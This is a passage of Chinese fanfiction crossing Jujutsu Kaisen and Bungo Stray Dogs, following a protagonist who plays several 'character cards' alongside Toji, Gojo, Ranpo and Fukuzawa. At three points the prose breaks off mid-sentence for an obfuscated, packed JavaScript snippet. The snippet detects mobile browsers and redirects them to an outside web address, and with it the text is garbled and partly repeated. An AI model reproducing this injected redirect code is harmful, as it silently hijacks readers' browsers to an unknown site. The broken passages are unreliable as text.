微凉的晚风无声地裹住夜行之人,当他踏入灯火通明的城区时,周身仍旧带着挥之不去的、从山野间沾染到的冷意。 便利店自动门的开合声响起,少年穿着略显宽松的黑色大衣从里走出来,手里捏着盒未拆封的香烟。 他随便找了个街边长椅坐下,拆开烟盒抽出一支烟,低头点燃。 橘红的火苗窜起,短暂地照亮少年白皙的下颚,他含住滤嘴吸了一口。 ——“咳!咳咳……” 辛辣的烟雾涌入肺部,少年压抑不住的呛咳出生,生理性的泪水慢慢模糊了他的眼瞳。 他有些狼狈地缓过气,随后便仰起头,失神地望着头顶那盏散发暖黄色光晕的路灯。 过了一会儿,或许有五分钟。 一道高大、极具压迫感的身影带着一股浓烈到近乎呛鼻、混杂着酒精与脂粉气息的女士香水味,自然地坐到了少年身旁。 来人极其熟稔地伸手。 两根有着厚茧的手指轻巧地将他只抽了一口、就夹在指尖任其燃烧的香烟拈了过去。 “哟。” 男人低沉沙哑的嗓音响起,尾音上扬,藏着说不出的愉悦。 他将从少年指间夺来的烟叼在嘴中,侧过头,深潭般幽暗的绿色眼眸透过缭绕的烟雾看向没有表情的伏黑隐。 “不是说这辈子不会再看我的消息了吗?” 伏黑隐低下头,用力地眨了眨酸涩刺痛的眼,缓解着因为直视路灯太久、而不管看什么都会带着明亮光斑的眼睛。 等到能够正常视物之后,他才抬起头,用那双在路灯下盛着碎光的眼眸看向身侧之人。 少年身上面对高专众人时那种刻意为之的、阳光开朗的伪装,此刻褪得一干二净。 他安静下来时的眉眼间烙印着化不开的疲惫,连声音也失去了惯有的活力。 “都说了,不要用你勾引女人的方式对待我啊。” 没有多少斥责。 伏黑隐的语气更多的是一种无可奈何。 他显然也没指望身旁的男人会对这句话有什么回应,不等男人开口,伏黑隐便主动切入主题。 “所以喊我出来,到底有什么事?” 要知道在他前往总监会之前,他们吵了一架,已经有四天没有说过话了。 身侧之人吐出一口烟圈,话语是惯常的痞气与玩世不恭,“看你有没有把我拉黑,随便发的消息。” 伏黑隐无语:“……没什么事我就走了。” 一只对于他而言有些温烫的掌心按住他的头顶,用力地揉了揉,男人点评道:“假发质量不行啊,小鬼。” “没办法,白头发还是太过显眼了……当初就是因为这个才那么容易……” 伏黑隐嘀咕道:“早知道之前就听你的意见,把头发染成黑色了。” 男人熟练地从他大衣里翻出烟盒和打火机,又点燃一根烟:“现在去染?我晚上赚了点钱,可以让你白嫖一次。” “不需要了。”他摇头,“毕竟还是要回去的。” 听到这句话,男人身上原本带着的轻松愉悦的气息瞬间消失了。 他扭头看着伏黑隐,暗沉的绿色眼眸倒映出少年纤细高挑的身影。 良久, 禅院甚尔嗤笑一声。 男人嘴角勾起一个毫无温度、充满嘲讽的笑。 “就非要去当那些家伙的走狗?” 最后两个字被他咬得极重,带着毫不掩饰的戾气,狠狠砸在他们本就摇摇欲坠的关系之上。 ‘不,那是因为除了你之外,老子还要看着另外两个人。’ 没有点满说谎技能的神隐腹诽,表面上仍旧让伏黑隐维持着那副温顺疲倦的沉默模样。 他像是默认了禅院甚尔的话,搭在腿上的指尖蜷缩,金眸看着自己脚边被路灯拉长的影子。 时间在空气中艰难爬行了不知道多久。 可能过了很久,又可能只有几分钟,少年才开口,声音近乎呓语的飘忽。 “我只是……想找到自己存在的意义。” 他平视着前方,目光穿透眼前绚丽的霓虹,落向某个遥远而模糊的地方。 “我不想一直这样。” 禅院甚尔看着他,绿眸中有什么东西在剧烈地翻涌着,又在伏黑隐察觉到之前被强行压下,最终化为一片深不见底的、令人心悸的沉寂。 “啧。” 一声短促而冰冷的音节打破死寂。 似乎终于觉得这场对话索然无味到了极点,禅院甚尔豁然起身。 没有道别,没有多余的言语,甚至连眼神都吝于给予,山峦般的身影没有丝毫留恋,背对着伏黑隐大步离开,迅速融入了远处迷离的光影里。 再一次恢复独身的少年仍旧坐在长椅上。 他睁着眼,注视着霓虹灯下的车水马龙。 飞驰而过的车灯拖拽出模糊光带,路灯映出行人匆匆的剪影。 耳边是车流间尖锐的鸣笛、辨别不清的谈笑与偶尔飘进耳中的流行音乐……所有声音交织成一片混沌的噪音,化作这座城市中永不疲惫的轰鸣。 而这一切,都与他隔着一层厚厚的、冰冷的无形玻璃罩。 世界近在咫尺,又遥不可及。 它们无法在他疲惫到极点的意识上留下任何痕迹。 伏黑隐安静地坐了很久。 …… [噢耶!又赢了!] [我们不愧是金牌搭档!] 和搭档一起在联机游戏中鏖战到后半夜,意识精神抖擞地回到角色卡里的伏黑隐这才站起身。 寒风穿过少年单薄的躯体,无情地刮过消瘦的脊梁。 畏寒的他打了个哆嗦,下意识将大衣裹得更紧。 接着,他便独自踏上了回到高专的路。 [话说回来,你那句台词抄袭了吧?] [放心吧,甚尔不会记得这句话的。] - 直到彻底看不见伏黑隐的身影,禅院甚尔才从街角的阴影里走出来。 他定定地看了一眼少年消失的方向。 接着,从嘴里吐出一只咒灵,将还在缓缓向下滴淌着血液的刀放进了名为丑宝的咒灵身体里。 越过几具姿态扭曲、脸上凝固着“不可置信”的惊骇表情的诅咒师尸体。 禅院甚尔从口袋里掏出伏黑隐那盒只抽了两根的香烟。 “嚓——” 打火机跳动的火苗在黑暗中燃起,短暂地照亮了他棱角分明、写满冷漠与沉思的脸庞。 火苗很快熄灭。 只余一点猩红在浓稠的夜色里明灭不定地闪烁。 …… 禅院甚尔是伏黑隐碰瓷的第一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553952|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当然了严格意义上来说这也算不上是碰瓷。 这是世界意识的精准投喂。 ——[我的宝贝绝对不能姓禅院!!] 在世界意识的呐喊中,伏黑隐挑挑拣拣梳理着祂打包送过来关于禅院甚尔的信息。 目前战力最强的天与暴君。 入赘改姓伏黑后又把儿子卖给老家拿了十个亿,最后全部“投资”进了赌马场。 第二年死于星浆体事件,是促使五条悟成为最强的最主要原因之一。 ——酷。 神隐羡慕地给出了评价。 大多时候,只能成为老硬币的『双面鬼』伏黑隐十分眼馋这个纯粹的、不含一丝水分的战力。 [别想了,弱鸡。] 冰冷的智能说出冰冷的话语,如同大冬天的一桶冷水浇溉在头顶。 [我恨你。] 被搭档战力歧视的伏黑隐眼含热泪地将这个重伤昏迷的男人治好伤。 - 至于为什么目前最强战力会受重伤? 世界意识笑而不语。 - 说实话,最开始的禅院甚尔真的非常不好接近。 那满身的尖刺与极端的戒备,差点让快把肝干废的神隐新开一张角色卡就地催眠他。 然而这个冲动的行为被世界意识尖叫着制止了。 对于身为天与咒缚的禅院甚尔来说,催眠只会起到反效果。 ——哈哈,妈的,神他妈的天与咒缚。 伏黑隐花费了相当长的时间与精力才成为了他的固定搭档。 而后又耗费了半年时间带着年幼的妹妹与痴呆的弟弟登堂入室 是的,痴呆的弟弟同样是神隐的角色卡。 只是因为还没有想好设定与身份的原因,只暂时给他安上了一个高武力值的设定,还有自动启动保护状态的挂机模式,就丢到津美纪面前守护她的安全了。 不过大多时候,都是津美纪照顾这个痴呆弟弟多一点……伏黑隐叹气,好在禅院甚尔对这个角色卡没有什么偏见。 倒是禅院甚尔的儿子,也就是世界意识执着改姓伏黑的刺猬头小孩很粘他。 那双与他的父亲相似、看人时总带着警惕的绿色眼眸在面对伏黑隐时,总会不自觉流露出宛如雏鸟般的依赖和安心。 但是该怎么让禅院甚尔改姓呢? 神隐在苦恼的思考。 [就说——甚尔,我准备当你爸爸了,你以后就姓伏黑了!] [闭嘴,滚出我的脑子。] 距离禅院甚尔死亡的时间还有半年时间,现在有更重要的事情摆在神隐面前。 他需要保护星浆体天内理子活下去。 其实可以另开一张角色卡去到天内理子身边、或者入学高专,但作为究极摸鱼大师的神隐和搭档一合计,打算再节省一点。 反正改姓这个任务也不着急。 只要在小惠入学高专之前改姓就可以了。 于是在某一天,伏黑隐突然对禅院甚尔说——“我要去高专。” 禅院甚尔没同意。 他们便很自然地吵了一架。 这不是他们第一次吵架,在禅院甚尔面前,伏黑隐的脾气总是一点就炸。 他们吵过很多回,这是最激烈的一次。 伏黑隐将计就计离家出走,将伏黑津美纪和伏黑白都交给孔时雨,独自踏上了求学之路。 至于一个诅咒师怎么找到总监会? 这个简单,世界意识直接用一台报废的汽车从斜坡落下精准无比地撞废了一个总监会的走狗。 然后,就到了心地善良素质不详的天使出场了。 [你要脸吗?] [你管得着吗你,老子现在就是天使。] 而这就是伏黑隐、也就是他最早降落在这个世界的角色卡的全部故事。 5. 第 5 章 等伏黑隐回到高专,天际已经泛起一点白线了。 他准备像离开时那样,沿着宿舍楼墙体,利用各层阳台作为落脚点,攀爬回自己的宿舍。 而就在伏黑隐堪堪搭上某一层的栏杆时,一只手突然钳住了他的腕骨。 ——“哈哈!老子抓到你了!!” 张扬至极的声音从上面响起,有些熟悉。 没想到来到高专第一天就翻车了…… 伏黑隐认命地在心底叹了口气,带着被抓现行的无奈缓缓抬起头。 随后再一次撞进了那双即使在深邃黑夜中、也依旧耀眼夺目的苍蓝色眼眸。 哇哦,头等奖。 伏黑隐抬起另一只没有被抓住的手,心虚地朝上方的五条悟挥了挥。 “……嗨,五条前辈?” 抓着伏黑隐手臂的五条悟也蒙了。 他显然也没有想到,大晚上不睡觉从阳台往下跳四处溜达的家伙居然会是伏黑隐。 原本得意中混杂着一丝好奇的神情冻结,五条悟几乎是本能地往后一缩手。 而这一缩,也松开了那只牢牢抓着伏黑隐、维持着对方悬空平衡的那只手。 伏黑隐:“!!!” 他不可置信地瞪大眼睛。 [老子就知道!卸下那个道具之后一定会遭到报复!!] 但是这个报复来得未免也太快了吧! 在身体下坠的一刹那,伏黑隐迅速举起手臂。 细微的机括声响起,精钢打造的钩爪从坠落的少年袖口中射出,死死勾住了上方阳台的栏杆。 借着钩锁绷直的力道,伏黑隐腰腹用力,控制住了失衡的身体,接着,他小腿往墙壁上狠狠一蹬,翻身落到了五条悟的阳台上。 直到双脚终于踏上坚实的地面,伏黑隐才后知后觉地感到一阵腿软,他心有余悸地拍拍胸口,随即抬头,用谴责的目光望向五条悟。 “五条前辈……” 少年的声音还残留着一丝劫后余生的后怕,“下次松手的时候,拜托提前说一声啊……差一点就真的摔下去了。” 从松手那刻,就一直维持着松手这个姿势宕机的五条悟闻言,忽然像是被火烫到一样,整个人夸张地原地弹跳了一下飞快跳到房间内,一把拉上了阳台的门。 紧接着,音量拔高了好几度、试图用气势掩盖情绪的声音隔着木门响起。 “明明应该怪你大晚上鬼鬼祟祟莫名其妙爬到老子阳台上吧!!” 确实做贼心虚的伏黑隐抓抓头发。 “啊……好像确实是这样……”伏黑隐说着,有些尴尬地停顿了片刻,语气也弱了几分:“实在抱歉啊五条前辈。” 他下次换一个阳台跳。 门内传来一声带着十足孩子气的“哼!”。 下一秒,门又被从里打开,一个手柄被扔进了伏黑隐的怀里。 “都怪你把老子吵醒了!现在老子睡不着了——”他顿了顿,语气陡然变得恶劣又任性,“所以,你也不准睡!” - 就这样,伏黑隐进入了五条悟的宿舍里,坐在了五条悟的沙发上,吃着五条悟的零食,玩着五条悟的游戏。 看着屏幕上弹出的【通关成功】,伏黑隐放下手里刚啃了一半的威化饼干,非常捧场地举起双手,啪啪啪鼓起掌来。 “五条前辈好厉害!” 五条悟被夸得有些飘飘然。 他仰起头,嘴角高高扬起,几乎要咧到耳根,那股儿得意劲看起来简直要冲破天花板。 “老子也这样觉得。” 伏黑隐被五条悟这毫不掩饰的自恋逗得弯弯眼睛,他起身,在五条悟堆成小山的游戏碟里翻了翻,抽出一盒。 是市面上近期比较流行的对战游戏。 “五条前辈,我们来玩这个吧。” 五条悟拿起手柄,六眼扫过游戏封面。 他习惯性扬起下巴,用格外欠揍的腔调对着伏黑隐说了句:“你不会被老子打到哭鼻子吧?先说好,老子不会手下留情的哦。” “我可是很厉害的!” 伏黑隐坐回沙发,也拿起手柄,完全没有把前辈的话放在心里。 “再厉害也不会有老子厉害。” 五条悟按下了开始键。 - 十分钟后。 屏幕上自己操控的角色血条清零,大大的【YOU LOSE】弹出。 第一轮就惨败的五条悟猛地扭头,看向旁边那个正小口小口嘬着草莓牛奶的卷毛后辈。 “再来!!!” - 二十分钟后。 伏黑隐操控的角色被五条悟一套华丽的连招打飞,血槽清空。 五条悟正想得意地“哈!”一声,就见伏黑隐眨巴着大眼睛,非常自然地伸手从薯片袋里抓了一把塞进嘴里,腮帮子鼓鼓囊囊,完全没有哭鼻子的迹象。 五条悟:“……啧。” 有些失望是怎么回事。 - 时间就在“YOU WIN!”、“YOU LOSE!”的电子提示音中,再伴随着咔嚓咔嚓的吃薯片声、吸溜吸溜的喝牛奶声,以及五条悟时不时的“哈?!”、“这不可能!”、“再来!”的嚷嚷声中悄然流逝。 当窗外第一缕微弱的晨曦透过窗帘缝隙,悄悄爬上游戏屏幕的边缘时—— 屏幕上,五条悟的角色血条归零,巨大的【YOU LOSE】字样缓缓浮现。 伏黑隐坐在沙发上,悄悄打了个哈欠,眼角渗出一点生理性泪水,怀里还抱着个空了的饼干盒。 他看向窗外。 天亮了。 “再来一把!” 五条悟现在非常亢奋,他明显和伏黑隐杠上了,不决出个真正的胜负决不罢休。 神隐在意识中吐魂:[……我不行了……我要吐了……] 他其实早在第四场对局的时候,就已经玩腻了。 只是因为想着多刷点五条悟的好感度,才硬抗到现在……五条悟都不会累的吗?!! 最后,实在不想打了的伏黑隐依靠系统作弊,连续打败五条悟两场对局,赢得了这场游戏的胜利。 终于——结束了。 他无声地松了一口气。 接着,伏黑隐放下手柄,绽放出一道阳光灿烂、带着点小得意的笑容。 “五条前辈,看来这一把也是我赢了呢。” “再来一把!!” 彻底被点燃胜负欲的五条悟将手柄重新塞回了伏黑隐手里。 伏黑隐:“……” 不,我真的不想打了。 他试图提醒:“前辈,已经要八点了。” 所以现在该去上课了吧? “那种事情无所谓啦!” 注意力全在游戏身上的五条悟大手一挥,带着不容拒绝的亲昵和赖皮说道:“隐再陪老子来一把!就一把!” 而夏油杰就是在这个时候推开了宿舍门。 “悟,要上课——” 夏油杰的声音戛然而止。 丸子头少年维持着半只脚进门的动作,一脸不可思议,“伏黑同学?” “早上好夏油前辈!” 伏黑隐开心地朝夏油杰打招呼。 他看起来真的很开心,就连手里的游戏手柄落到沙发上了也没在意。 趁着五条悟去洗漱的间隙,夏油杰陪着伏黑隐回宿舍换衣服,在上课的时候,他犹豫再三,还是选择问了出来。 “伏黑同学……怎么会在悟的宿舍里?” 决定痛改前非当个好学生的伏黑隐回答:“因为在晚上偷偷溜出去的时候,被五条前辈抓住了。” 他甚至还坦诚地指了指阳台的方向。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553953|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这、这么诚实的吗? 夏油杰有些惊讶:“离开高专吗?” “嗯。”伏黑隐将最后一块威化饼干吃掉,“有点担心我的家人嘛,毕竟这是我第一次离开他们。” 他知道夏油杰昨天看过自己的全家福,便顺理成章地挑了这个理由,“我担心他们寄宿的主人家在照顾上会有些疏忽,就忍不住擅自跑过去看了看。” 夏油杰信了。 但他又很快想到了其他的问题。 “冥冥的乌鸦……” “啊,那个啊。”伏黑隐摆摆手,对夏油杰露出一道明媚的笑,“冥冥前辈被我收买了。” “只要夏油前辈和五条前辈不要说出去,总监会那边肯定不会发现的。” 他说着,双手合十做出拜托的手势。 “所以就拜托夏油学长不要告诉其他人啦。” 少年刻意伏低了身子,从下往上以仰视的姿势望着夏油杰。 不知是困倦还是其他原因,他灿金色的眼瞳里也蒙着一层湿润的薄雾,显得格外柔软。 以这样的视角去看…… 好、好可爱!! 夏油杰抬手捂住上半张脸,试图掩盖住瞬间升温的脸颊。 “伏黑同学,不用这样我也会答应你的。” 从指缝中透出的声音闷闷的,藏着些不易察觉的害羞。 卷毛少年眨眨眼睛,伸手将一块饼干塞进他的嘴里。 “谢谢夏油前辈!” 咬着饼干的夏油杰默默低下头。 他的脸又开始发烫了。 - 等夏油杰整理好情绪冷静下来,重新端起前辈温和镇定的姿态时,伏黑隐还在梳理自己的头发。 少年的卷发极不好打理,稍大的动作就会变得杂乱,平时全靠多个与发色相同的细长发卡,才能勉强将它们固定住。 对着镜子,他将最后一缕炸开的白毛梳平,然后取出了自己的发卡戴上。 不知道为什么,今天心情格外好的伏黑隐拿起书桌上的收纳盒打开,“夏油前辈你看!” 收纳盒里铺着一层绒布,上面别着好几个表情各异、但都无比精致可爱的小狗造型的发卡。 有戴着小礼帽的,有系着粉色蝴蝶结的,还有顶着草莓橘子或者裱花蛋糕的毛绒小狗,每一个都憨态可掬,做工精细得像是艺术品。 这是为了防止五条悟和夏油杰发现不对劲,搭档特意一比一复制的无能力道具。 “这些都是小白清醒的时候,送给我的礼物,小白说看到它们,就是看到他了。” 伏黑隐笑着说:“虽然不是很像,但我已经习惯戴着它了。” 相片里,两个年纪相仿的孩子簇拥在少年身侧。 站在右边的黑发男孩睁着双无神的血红色眼睛,直视着镜头方向。 在昨天,夏油杰第一时间注意到的是他与伏黑隐极其相似的面容。 当时只顾着惊叹兄弟间相像的程度了。 现在再看的时候,夏油杰才发现照片里的男孩没有眼白。 “他的眼睛……是生病了吗?” 下意识问出来之后,夏油杰才突觉不对。 学的术式不就是治愈吗? 伏黑隐倒没觉得这有什么问题,他道:“小白的灵魂出了问题,这不是我的术式能够治愈的病。” “啊,这样啊……”夏油杰有些懊恼,“抱歉。” 将相框放回去的少年拍了拍夏油杰的肩膀。 他似乎一直都是这一副开朗模样,不管什么东西都不能将这道身躯压垮。 “夏油前辈不用感到抱歉的,因为我已经找到治疗小白的办法了。” 说着,换好制服的伏黑隐转到夏油杰身后,推着他一起离开了宿舍。 “好了夏油前辈,我们现在去找五条前辈和家入前辈吧!” 6. 第 6 章 和一年级的三个人一起进入教室,聊了一小会儿天,五条悟和夏油杰便接到任务离开了。 伏黑隐和两人道别,从书包里拿出三明治,还没开始吃,家入硝子就收起手机走到他面前。 “走吧,去医务室。” “诶?”伏黑隐疑惑,“现在不是上课的时间吗?” “医务室的病人也是课业。” 手上同样拿着份三明治的家入硝子说完,戳了戳他头顶戴着礼帽的小狗发卡。 “至少对我们两个而言,这也是上课,走吧伏黑,带你认认路。” …… …… 这是江户川乱步将藤原千学带回来的第十天。 藤原千学醒过来的时候,江户川乱步已经离开去工作了。 目光扫过空荡荡的房间,在发现确实没有人影后,他才慢吞吞从床上坐起身,望着前方发呆。 过了一会儿,彻底醒过来的藤原千学爬下床,拿起桌上冷掉的饭团。 没有选择加热,他撕开包装,小口小口细嚼慢咽地吃着,刚刚吃上第三口,垂头丧气的江户川乱步就推开门走了进来。 看见少年表情,明白了什么的藤原千学咽下嘴里的食物,主动问:“为什么要开除你?” 江户川乱步坐在藤原千学身边沮丧地摘下帽子,翠绿的眼眸里满是不理解。 ”他们说我总是弄丢信件,但是——” 他抓了抓头发,对藤原千学抱怨道: “那些信件要么是塞在邮箱里积灰、根本不会有人去看的广告单,要么就是毫无意义的废话,反正最后收到邮件的人也会把信丢掉……既然结果都是被丢掉,早一点丢和晚一点丢有什么区别?!” “搞不懂大人们到底在想些什么……” 藤原千学安静地听着,没有打断他的话。 等到江户川乱步用充斥着不解的声音说完,他将没动几口的饭团分出了一大半给他。 “不要伤心。”男孩的声音有着斩钉截铁的笃定,“他们都是蠢货。” 少年把半个饭团全部塞进了嘴里。 他鼓起腮帮子,说:“所以我们要搬家啦!” - 用仅剩的钱找了一个廉租房,重新穿上那身警校生服饰的江户川乱步嘟囔:“没有换洗衣物了。” 穿着江户川乱步唯一换洗衣物的男孩闻言,理解道:“我可以不穿这个。” 他有每天定时刷新的角色卡默认时装。 “不用啦,衣服什么的,只要找到工作之后就不是问题了!” 江户川乱步自信地对藤原千学说道。 然后—— 藤原千学看着他找到一个工作,被辞退、找到一个工作,被辞退、找到一个工作,被…… “明明都是一眼就能看出来的事情,为什么他们都要装作不知道啊!” 因为口无遮拦揭开店长或客人的秘密,再一次被辞退的江户川乱步红着眼眶坐在床边,向藤原千学抱怨着大人们的不可理喻。 一个月了,他们还是身无分文。 冰冷的现实宛如夜间雨时刮过的寒风,无孔不入地钻进这间廉价的出租屋。 而即使是如此低廉、破旧的房屋,也不会一直为他们遮挡风雨——房子的租期就快要到期了。 藤原千学把手里的面包对半分开,递到江户川乱步抿起的嘴边。 “没关系。”尝试着安抚少年内心情绪的他声音很轻,“我陪着你。” - 神隐其实有些心累。 他在之前就说过很多次那些人都是蠢货,没必要去理会。 结果每次都被江户川乱步忽视过去…… 这真的正常吗?! [不是说跟着你的孩子就能够吃香的喝辣的嘛!老子已经吃了一个月的糠咽菜了!!] 世界意识:[不急,快了,好日子马上就来了。] - 江户川乱步突然动了。 他猛地转过身紧紧抱住藤原千学,就像是要将这段时间受到的委屈惶恐全部释放出来一样,呜哇一声大哭起来。 “我害怕……这个世界好可怕!我好害怕——千学,我害怕!!” 少年将脸埋在男孩瘦削的肩膀上,滚烫的泪水汹涌而出,很快濡湿了藤原千学那块的衣服。 藤原千学被这双手臂勒得有些喘不过气。 但他没有选择挣扎。 只是在那紧到快要窒息的怀抱里,艰难地、缓慢地抬起手,轻轻覆在比他大了四岁的少年那头凌乱黑发上。 - 感受着面前之人不断颤抖的身体,神隐在意识里轻轻叹了口气。 [这孩子真的必须要经历这些吗?实在不行让我换张角色卡来养他吧。] 世界:[您相信我,这只是为了让乱步遇到最适合他、同时也是最好的人。] 神隐:[苦难是幸福的前提吗?] 世界意识被问住了,短暂地陷入了沉默中。 神隐没有再说话,他用藤原千学的躯壳温柔地抚摸着少年颤抖的脊背。 “不要害怕,我会一直陪着你。” 他再一次说出这句话。 - 在租期的最后一天,江户川乱步牵着藤原千学的手,重新踏上了找工作的旅程。 然而带着一个什么都做不了的“拖油瓶”,让本就求职困难的江户川乱步更加寸步难行。 每一扇敲开的门都比从前关闭得更快、更无情。 ——又是求职失败的一天。 傍晚时间,两个人并排坐在路边的长椅上,啃着一位便利店店员偷偷塞给他们的面包。 夕阳将他们依偎着的身影拉得很长。 藤原千学依旧吃的很慢,在他刚开始咬第二口的时候,江户川乱步已经开始舔舐手指上残留的甜味与碎屑了。 看到江户川乱步明显没有吃饱的表现,他如往常一样对半掰开,把没有啃过的一面递给江户川乱步。 少年接过,三两口吃完之后还是一副无精打采的样子,藤原千学便又将自己咬过的地方撕干净,放到了身旁人的手中。 看着江户川乱步吃完,藤原千学才伸出手,指向告示栏上、方才被人贴上的政府求职补助的传单。 “你可以去试试这个。” 上面显眼的地方写着一串号码。 - 第二天。 睡在一间废弃房子里的两个人听到了电话铃声。 在藤原千学迷迷糊糊与睡梦作斗争时,躺在他身边的人迅速拿起了电话接通。 他听到少年用压低的声音说:“你好?” 等到彻底清醒过来,江户川乱步已经高兴地挂断了电话,走过来拉住藤原千学的手。 “我们去面试!” 少年的声音清脆响亮,充满了久违的活力。 藤原千学被他拉着手站起身。 他抬起头,看着江户川乱步的侧脸轻轻地点了点头。 “好。” - 清晨的阳光铺在干净的街道上。 穿着宽大警校生制服的男孩坐在离这座气派大楼最近的一个花坛上,目送着与他穿着相同衣服的少年走了进去。 他安静着降低了自己的存在感,如同高楼下的一抹阴影。 - 搭档:[来,打游戏!] 神隐:[来了来了!] - 藤原千学看着警车快速包围了商社大楼。 训练有素的警察们散开,构筑起一道严密的封锁线,彻底堵死了里面之人任何可能的逃生路线。 空气中弥漫着紧张而肃杀的气息。 而藤原千学只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553954|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着,仿佛一切都不会令他觉得惊讶。 他在那里等了很久。 直到有人押送着一个头发锈红的人走进警车。 几乎在同一时刻,商社那扇厚重的玻璃门再次被推开。 江户川乱步脚步轻快地跟着一位面容冷峻、穿着和服的银发青年走了出来。 他看着江户川乱步仰头兴奋地在和男人说着什么,而后用亮晶晶的翠绿眼眸看向花坛边坐着的自己。 江户川乱步毫不犹豫朝他所在的方向跑了过来。 “千学,我们有住的地方了!” 少年的声音因为激动而拔高,他牵起男孩的手快步跑向了原地等候的青年。 藤原千学被拉着向前,来到了银发青年的身前。 他抬起头,黝黑的眼眸直直看向福泽谕吉,接着毫不犹豫对江户川乱步说道:“他杀过很多人。” “没关系啦,大叔要请我们吃饭呢!” 对福泽谕吉过去不感兴趣的江户川乱步满脑子都是吃东西,他晃了晃两个人交握的手。 “千学,乱步饿了嘛。” “……” 重新陷入沉默的男孩被少年牵着走进一家散发着食物香气、干净整洁的店里。 “要红豆麻薯!” 他朝店员说出一个足够多的份量。 福泽谕吉的眉头微不可觉地动了一下。 等到点好的红豆麻薯全部上桌,江户川乱步将三份红豆麻薯推到藤原千学面前,“这个超级好吃的,千学你试试!” [……] 之前觉得这个角色要流浪很久,所以特意在设定上加了个『食欲极低,一口面就能吃饱』的神隐这次是真的沉默了。 孩子热情是好事。 但他真的不饿啊! 福泽谕吉发现藤原千学吃东西真的很慢。 坐在他旁边的江户川乱步已经开始挖第六个麻薯里的红豆馅了,男孩才略显艰难地吃完第一份。 是不喜欢吃这个吗? “不是啦,大叔。” 江户川乱步抬起头,嘴里还吃着红豆馅的他声音有些含糊:“是因为千学对什么食物都不感兴趣,而且吃一点点东西就会吃饱,所以才吃的那么慢的。” 感觉吞咽都有些困难了的男孩默默点头。 他仍然在警惕着福泽谕吉,时不时就用那双漆黑的眼睛看一眼青年。 这个动作在福泽谕吉带着他们回到自己屋中之后,变得更为频繁了。 福泽谕吉知道,从认识到现在只说了一句话的男孩不信任他。 或者说, 不信任所有成年人。 在江户川乱步哼着歌去洗澡的时候,福泽谕吉将临时买的换洗衣物放到了藤原千学面前。 瘦弱到根本不像是十岁孩子的男孩条件反射性地一抖,也不看到底是什么,迅速后退蜷缩成一团缩进了角落,像是要就此将自己嵌进墙里。 福泽谕吉说:“你应该去洗个澡。” “……” 角落陷入长久的沉默,只余男孩压抑不住的、颤抖的喘息。 直到淋浴室的门被打开,热气裹挟哼着不成调歌曲的少年一同出现时,藤原千学才慢慢恢复了正常。 他小心地从福泽谕吉身边拿起衣服,随后像是身后有猛兽在追似的,低着头飞快地冲进了淋浴间。 福泽谕吉:? 他看起来真的很凶吗? 感受到福泽谕吉的困惑与迷茫,江户川乱步解释道:“千学之前被大人伤害过,所以在和大人独处的时候会感到害怕。” 说完,少年同样也有些费解。 “这明明就是一眼就可以看出来的事情啊,大叔你怎么比乱步还笨啊。” 福泽谕吉:“……” 如果连你都是笨蛋的话,这个世界就不会存在聪明人了。 7. 第 7 章 他们真的很聪明。 但作为能够一眼洞穿所有秘密的孩子,他们的行为实在是过于直率与任性了。 譬如现在—— “凶手不就是那位穿蓝色西装的大叔吗?” 穿着警校制服的陌生少年越过警戒线,没等其他人反应过来就语气笃定地说道: “他愤怒于死者想要背着自己结婚,所以在食物里下了毒——可明明死者从来没有回应过他的感情吧。” 语毕,又抬手指向还在和警察说明情况的店长。 “而且店长小姐也知道这些事情,她在学生时代经常被你和死者欺负吧,所以在她发现你们回到横滨之后,就决定找人报复你们,死者的未婚夫就是那个人,其实你不杀死她她也会回来的,因为那个人现在已经拿着钱出国了。” “结果没有想到你那么偏激,直接把人杀掉了,但是她一样很开心就是了。” 面对这突如其来的一大串话,在场的人员反应不一,有看着是个少年人不相信的,有觉得发言很有道理半信半疑的,更多的,是对这毫无礼貌的闯入感到冒犯的。 唯独两个人,也就是江户川乱步话语中的两个人,他们的反应显得有些怪异。 正与警官交谈的店长小姐挑起眉,往江户川乱步所在的位置看了一眼,没有说些什么,倒是直接被指认为杀人凶手的男人脸色铁青。 江户川乱步的话一句句落下,穿着蓝色西装的男人脸色也愈发沉郁。 直到最后,像是终于忍受不住了,他猛地吼道: “胡言乱语!你以为这是你可以随便讲故事的场地吗?哪里来的小屁孩,家长都不管一管的吗?” 这边的交谈本就被餐饮店内的大多数人关注着,听到男人的厉声呛喝,两名年轻的实习警官快步进来。 留着中长发的警官讪笑着摸摸后脑勺,刚想说话打圆场,一直被江户川乱步牵着的男孩就冷着嗓音开了口。 “真奇怪,你杀死了你爱的人,为什么会觉得开心?” 经过一段时间的相处,总算愿意和福泽谕吉外出的藤原千学困惑地看向男人。 